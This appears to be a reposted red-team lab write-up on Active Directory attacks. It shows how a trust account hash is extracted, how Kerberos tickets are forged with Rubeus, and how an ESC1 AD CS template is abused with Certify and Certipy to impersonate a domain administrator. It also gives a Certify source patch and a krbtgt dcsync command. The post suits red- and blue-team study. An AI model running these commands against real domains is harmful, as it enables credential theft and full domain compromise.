stihl не предоставил(а) никакой дополнительной информации.
Introduction
In Active Directory environments, Для просмотра ссылки ВойдиWhat started out as a simple “Why doesn’t Certify work on a non-domain host?” question very quickly became a challenge mixing trust Account, NTLM vs. Kerberos issues and privilege escalation via AD CS. In this post, I’ll go through every step of the way, from extracting the trust account to compromising the second domain.
Whether you’re a Red Teamer looking for new methods or a Blue Teamer wanting to strengthen your environment, this blog post highlights the risks associated with outbound trust links, as well as problems associated with AD CS misconfigurations.
Setting the Scene
So let’s put it on stage:- domain-a.local: The compromised domain.
- domain-b.local: The target domain
The lab setup:
- DC01: Domain Controller for domain-a.local (192.168.1.201).
- DC02: Domain Controller for domain-b.local (192.168.1.202).
- Workstations: A Windows 11 machine (192.168.1.139) and a Linux box for maximum versatility during the attack.
Steps to Victory
Step 1: Getting a Foothold
First of all, I need access to domain-a.local. Whether it’s through phishing or an exploited vulnerability, we’ll assume that I’ve been able to obtain initial access and then the credentials for account admin-a@domain-a.local.Step 2: Extracting the Trust Account
2.1 Confirm the Trust Exists
First, I confirmed the outbound trust with a PowerShell cmdlet:
Код:
Get-ADTrust -Filter * | Select Direction, Source, Target
The output revealed the trust relationship between domain-a.local and domain-b.local.
2.2 Find the Trust Object
I then searched for the trust object via LDAP to find its GUID:
Код:
Get-ADObject -LDAPFilter "(objectCategory=trustedDomain)"
2.3.1 Extract the Trust Account Hash
With the GUID in hand, it was time to use Для просмотра ссылки Войди
Код:
lsadump::dcsync /domain:domain-a.local /guid:{GUID}
The [OUT] hash was what I needed. Once recovered, I used Rubeus to request a TGT (Ticket-Granting Ticket) for the trust account (DOMAIN-A$):
Код:
.\Rubeus.exe asktgt /domain:domain-b.local /user:DOMAIN-A$ /rc4:<hash> /nowrap /ptt
2.3.2 Alternate Method: Dump It From Memory
For those who like to take risks, there is an alternative method which consists of extracting the hash of the trust account from the Domain Controller’s memory:
Код:
mimikatz lsadump::trust /patch
This is a Для просмотра ссылки Войди
2.4 Accessing Resources in domain-b.local
With the TGT injected, I tried to get the domain-b.local information to confirm that the authentication was working:
Код:
Get-ADDomain -Identity domain-b.local
I was officially inside domain-b.local.
Step 3: Exploiting AD CS
The next step was to target Active Directory Certificate Services (AD CS) in domain-b.local. A misconfiguration in a template can enable a user to request a certificate for another user and thus perform a privilege escalation. Для просмотра ссылки Войди3.1 Certify on Windows: The DIY Method
We’re going to start with the most problematic but also the most famous AD CS exploitation tool for Windows, Для просмотра ссылки ВойдиThe Problem
After running a number of tests, I discovered that Certify has trouble working from a host outside the domain. I’ll start by showing the cases where I was unable to obtain a certificate:Not Working Case 1: Using a Non-Domain-Joined Machine with an Injected TGT
For the first case, I’ll try to obtain a certificate via my Windows 11 host outside the domain.I started by getting a TGT for the trust account as before:
But when I ran Certify to enumerate AD CS templates, I got an error for “incorrect credentials”:
Looking with Wireshark, I could see that a TGS was obtained for the LDAP service from DC02.domain-b.local:
In addition, the following queries showed that Certify was attempting to authenticate to LDAP via NTLM instead of Kerberos (and yes, there’s no flag to force Kerberos use), despite obtaining the TGS. Since the tool is used in the context of my local user, the authentication failed:
Despite a valid TGT and TGS for the LDAP service, Certify was unable to enumerate LDAP templates due to its dependence on the NTLM protocol for certain queries.
Not Working Case 2: Using a Domain-A User Context with an Injected TGT
For the second case, also using the windows 11 host outside the domain.I used the runas command to simulate the context of a domain-a.local user:
Код:
runas /netonly /user:admin-a@domain-a.local powershell
Without further adjustments, I can’t interact with domain-b.local’s LDAP service (which is normal since the trust works the other way around):
So I can’t list the AD CS templates in domain-b.local (either through the LDAP services of DC01 and DC02):
To get around this, I obtained a TGT for the trust account as in the previous case:
Now I can interact with domain-b.local’s LDAP service via Kerberos authentication:
Interestingly, I discovered that I could enumerate domain-b.local’s AD CS templates indirectly via DC01.domain-a.local’s LDAP service and only after injecting the TGT from the trust account:
But a direct enumeration of AD CS templates on domain-b.local fails due to the same NTLM authentication issue as seen in case 1:
So the question I asked myself was the following: Why, using the context of an domain-a.local user, am I able to enumerate domain-b.local’s ADCS templates but only via domain-a.local’s LDAP service and only when I use the trust account’s TGT?
So, again I took wireshark to look at this. In the case where I didn’t inject the TGT of the trust account, Certify tries to authenticate directly to domain-b.local despite the fact that I gave it domain-a.local’s LDAP as an argument, which doesn’t work since I’m using the context of a domain-a.local user:
Now, the same thing but with the TGT of the trust account injected. Certify uses the TGT to obtain a TGS giving access to domain-b.local’s LDAP, despite the fact that I gave domain-a.local’s LDAP service as an argument:
Certify then tries to authenticate to the domain-a.local LDAP using the context of our user in the same domain:
So, injecting the TGT allowed me to interact with DC01.domain-a.local’s LDAP service, while Certify’s dependence on the NTLM protocol to enumerate AD CS templates prevented me from interacting directly with domain-b.local.
Not Working Case 3: Using a Domain-B User Context
For the third case, back on the windows 11 host.I switched to the context of a domain-b.local user (created only for this test) using the runas command:
Код:
runas /netonly /user:admin-b@domain-b.local powershell
This time, I successfully enumerated AD CS templates directly on DC02.domain-b.local:
NTLM authentication succeeded because the context was the one of a valid domain-b.local user:
Even with AD CS enumeration working, I couldn’t request a certificate:
This time wireshark showed me an attempt to resolve the domain name based on the host name of my machine and not on the domain name given as an argument:
Using the context of a user from domain domain-b.local solved the NTLM authentication problem, but still failed to obtain a certificate, due to to Certify’s name resolution behavior.
Despite these failures, there is still one case where Certify is able to obtain a certificate with the trust account. But this will require pivoting to DC01.domain-a.local. Using Cetify directly from the domain controller allowed me to bypass the problems I had from a machine not attached to the domain. This blog post does not cover pivoting methods or bypassing AV/EDR systems, as I assume those are already handled.
The Working Case:
Step 1: Enumerating Vulnerable Templates
From DC01.domain-a.local, I needed to inject a TGT for the trust account:I enumerated vulnerable certificate templates in the target domain (domain-b.local) using Certify:
Код:
.\Certify.exe find /domain:domain-b.local /vulnerable
Certify confirms that template ESC1VulnerableTemplate is vulnerable to ESC1.
Step 2: Requesting a Certificate
Next, I attempted to request a certificate for the administrator@domain-b.local account:
Код:
.\Certify.exe request /ca:DC02.domain-b.local\domain-b.DC02-CA /template:ESC1VulnerableTemplate /altname:administrator
But Certify threw an error: “An enrollment policy server cannot be located.”
Step 3: Patching Certify
Fortunately, a solution exists. Для просмотра ссылки Войди
Код:
objPkcs10.InitializeFromPrivateKey(context, privateKey, templateName);
Then replace with the following content:
Код:
objPkcs10.InitializeFromPrivateKey(context, privateKey, "");
CX509ExtensionTemplateName templateExtension = new CX509ExtensionTemplateName();
templateExtension.InitializeEncode(templateName);
objPkcs10.X509Extensions.Add((CX509Extension)templateExtension);
By initializing the template name as an X.509 extension rather than directly in InitializeFromPrivateKey, this seems to get around the problem.
Step 4: Resolving Dependency Errors
When compiling Certify I got a dependency error (due to Visual Studio 2022), just add it to the packages.config file:
Код:
<package id="Interop.CERTENROLLLib" version="1.0.0" targetFramework="net40" developmentDependency="true" />
Step 5: Getting a Certificate
With the patched Certify, I successfully requested the certificate:
Код:
.\Certify.exe request /ca:DC02.domain-b.local\domain-b-DC02-CA /template:ESC1VulnerableTemplate /altname:administrator
Step 6: Converting the Certificate
Next, I converted the certificate to a format compatible with Rubeus for further use:
Код:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Step 7: Obtaining a TGT
Using the converted certificate, I requested a TGT for the administrator@domain-b.local account:
Код:
.\Rubeus.exe asktgt /user:administrator /certificate:[CERTIFICATE] /password:[PASSWORD] /nowrap /domain:domain-b.local /ptt
Step 8: Authenticating and Escalating
Now that we have a TGT for administrator@domain-b.local, we can imagine any type of scenario such as extracting the NT hast for the krbtgt account:
Код:
lsadump::dcsync /domain:domain-b.local /user:krbtgt
Why Patching Certify?
Whether you want to use it with a dotnet loader or just because you prefer to use Windows, you may need (prefer?) to use Certify rather than Certipy. This just goes to show how important it is to adapt your tools to the scenarios you face.3.2 Certipy on Linux: The Simplified Approach
For those who prefer to work with Linux, Для просмотра ссылки ВойдиStep 1: Preparing the Ticket
The first step was to make the TGT of the trust account previously obtained readable by tools on Linux. Using Для просмотра ссылки Войди
Код:
cat ticket.b64 | base64 -d > ticket.kirbi
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=[PATH]/ticket.ccache
Step 2: Validating the Ticket
Before diving deeper, I checked that the TGT was valid by authenticating to domain-b.local using Для просмотра ссылки ВойдиThe successful authentication confirmed the ticket was correctly configured and ready for use.
Step 3: Finding Vulnerable Templates
Next, I used Certipy to enumerate the AD CS environment in domain-b.local to identify misconfigured certificate templates:
Код:
certipy-ad find -k -target DC02.domain-b.local -vulnerable
Код:
cat 20241209160535_Certipy.txt
Certipy quickly discovered that the ESC1VulnerableTemplate could be exploited.
Step 4: Requesting a Certificate
With the vulnerable template identified, I submitted a certificate request for user administrator@domain-b.local. Certify simplified the process, using the TGT to interact with the AD CS:
Код:
certipy-ad req -k -target DC02.domain-b.local -ca "domain-b.DC02-CA" -template "ESC1VulnerableTemplate" -upn administrator
The certificate request was a success, giving me a certificate tied to the domain administrator account.
Step 5: Authenticating and Escalating
Using the obtained certificate, Certipy allowed me to authenticate as administrator@domain-b.local, to request a TGT and then to Для просмотра ссылки Войди
Код:
certipy-ad auth -dc-ip 192.168.1.202 -pfx 'administrator.pfx' -username 'administrator' -domain 'domain-b.local'
If you’re looking for efficiency, Certipy should be part of your toolkit.
Final Thoughts
What started out as a simple question “Why does Certify fail from a non-domain-joined machine to exploit through an outbound trust ?” evolved into a deeper exploration of how Active Directory works. Through this, I was able to highlight how a trust account can interact with domain services, dig into authentication concerns with NTLM and Kerberos as well as learn to understand the problems associated with tools such as Certify and Certipy.This journey not only solves the initial problem, but illustrates how an outbound trust combined with a misconfiguration in an AD CS template can become a critical escalation path. It’s a reminder that small obstacles in an operation can lead to big discoveries.
Для просмотра ссылки Войди